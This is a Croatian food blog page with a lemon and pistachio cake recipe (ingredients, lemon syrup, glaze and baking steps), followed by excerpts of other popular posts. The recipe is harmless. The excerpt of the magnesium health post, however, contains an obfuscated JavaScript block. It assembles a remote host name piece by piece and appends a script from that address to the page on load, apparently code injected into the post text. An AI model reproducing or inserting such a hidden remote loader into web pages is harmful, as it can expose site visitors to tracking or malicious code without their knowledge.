KOLAČ OD LIMUNA PISTACIJA 🍋




Kolač od limuna i pistacija 




Kombinacija limuna i pistacija je apsolutno neodoljiva, ako ju još niste probali, sada vam je vrijeme, naročito ako volite kolače koji nisu preslatki. Neslane pistacije u ovom slučaju ne idu samo kao dekoracija već se melju i dodaju kolaču. A što se tiče limuna, koriste se i sok i korica, zato pripazite da koristite domaće, neprskane voćke. Kako bi tekstura kolača bila što bolja, koristi se i malo grčkog jogurta.




Kolač od limuna i pistacija 


Sastojci:

Za kolač

180 g šećera
180 g maslaca
180 g glatkog brašna
120 g grčkog jogurta ili kiselog vrhnja
80 ml svježe iscijeđenog limunovog soka
70 g fino mljevenih neslanih pistacija
30 ml suncokretovog ulja
8 g praška za pecivo
1 žličica ekstrakta vanilije
pola žličice sode bikarbone
3 velika jaja (sobne temperature)
naribana korica 2 neprskana limuna
prstohvat soli


Za sirup od limuna

50 ml svježe iscijeđenog limunovog soka
50 g šećera


Za glazuru

150 g šećera u prahu
3-4 žlice limunovog soka
1 žličica sitno naribane limunove korice


Za ukrašavanje

40 g grubo nasjeckanih pistacija
malo dodatne limunove korice



Priprema:

Zagrijte pećnicu na 170 °C. Kalup za banana kruh obložite papirom za pečenje. U velikoj zdjeli pomiješajte šećer i koricu dva limuna. U drugoj zdjeli pomiješajte brašno, mljevene pistacije, prašak za pecivo, sodu bikarbonu i sol.Promiješajte pjenjačom.

Otopite maslac i pomiješajte ga s uljem. Ostavite nekoliko minuta da se malo ohladi. U limunov šećer dodajte maslac i ulje te kratko izmiješajte. Dodajte jaja jedno po jedno, miješajući nakon svakog dodavanja. Umiješajte grčki jogurt, limunov sok i vaniliju. Smjesa treba biti glatka i sjajna.

Dodajte suhe sastojke u dvije ture. Miješajte špatulom samo dok nestanu tragovi brašna. Nemojte previše miješati kako bi kolač ostao mekan. Ulijte smjesu u pripremljeni kalup i poravnajte površinu. Pecite 50–60 minuta i provjerite čačkalicom. Pred kraj pečenja u malom lončiću zagrijte limunov sok i šećer. Miješajte dok se šećer potpuno ne otopi. Kolač izvadite iz pećnice i ostavite 10 minuta u kalupu. Čačkalicom izbockajte cijelu površinu te polako prelijte topli limunov sirup preko toplog kolača. Ostavite da upije sirup, zatim ga izvadite iz kalupa i potpuno ohladite. Za glazuru pomiješajte šećer u prahu, limunov sok i malo korice limuna. Glazura treba biti gusta, ali dovoljno tekuća da klizi niz stranice kolača. Prelijte preko potpuno ohlađenog kolača. Odmah pospite nasjeckanim pistacijama i dodatnom limunovom koricom.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više